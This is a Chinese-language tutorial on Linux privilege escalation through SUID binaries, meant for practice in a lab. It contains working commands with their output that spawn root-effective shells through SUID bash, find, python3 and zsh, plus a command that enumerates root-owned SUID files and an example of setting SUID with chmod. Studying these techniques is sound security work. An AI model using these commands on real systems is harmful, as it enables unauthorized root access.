概述
SUID (Set owner User ID)是Linux文件权限中的一种, 当一个应用程序具有该权限时,无论是由哪个用户执行该程序,其运行时刻的权限等同于该程序文件的拥有者的权限,而不是执行者的权限。
Linux操作系统本身提供很多具有SUID的可执行文件,常见的例子包括passwd,su和mount等,如下图所示
对于拥有者是root用户的执行文件而言,当该程序由普通用户运行时,SUID属性使得其具有root用户的权限。
示例
通过SUID进行提权是Linux提权方法中最为浅显的一种。 示例如下:
- bash
当bash具有SUID时,运行以下命令可以获得root权限
-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ bash -p
bash-5.1# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
- find
当find具有SUID时,执行以下命令可以获得root权限
-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ find . -exec /bin/sh -p \; -quit
# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
- python 3
当python3具有SUID时,执行以下命令可以获得root权限
-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
- zsh
当zsh具有SUID时,执行以下命令可以获得root权限
-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ zsh
d0a25ca1b1d8# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
方法
- 使用以下命令可以列出所有属于
root用户且具有SUID的可执行文件
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
- 在GTFOBins (gtfobins.github.io/) 网站上,可以找到通过SUID进行提权的具体方法
- 如果有足够的权限,可以使用以下命令赋予某个文件SUID
chmod u+s filename
实战
下面的Dockerfile提供了一个基于Ubuntu的试验环境,其中有若干个属于root用户且具有SUID的可执行文件,可用于通过SUID进行提权的练习。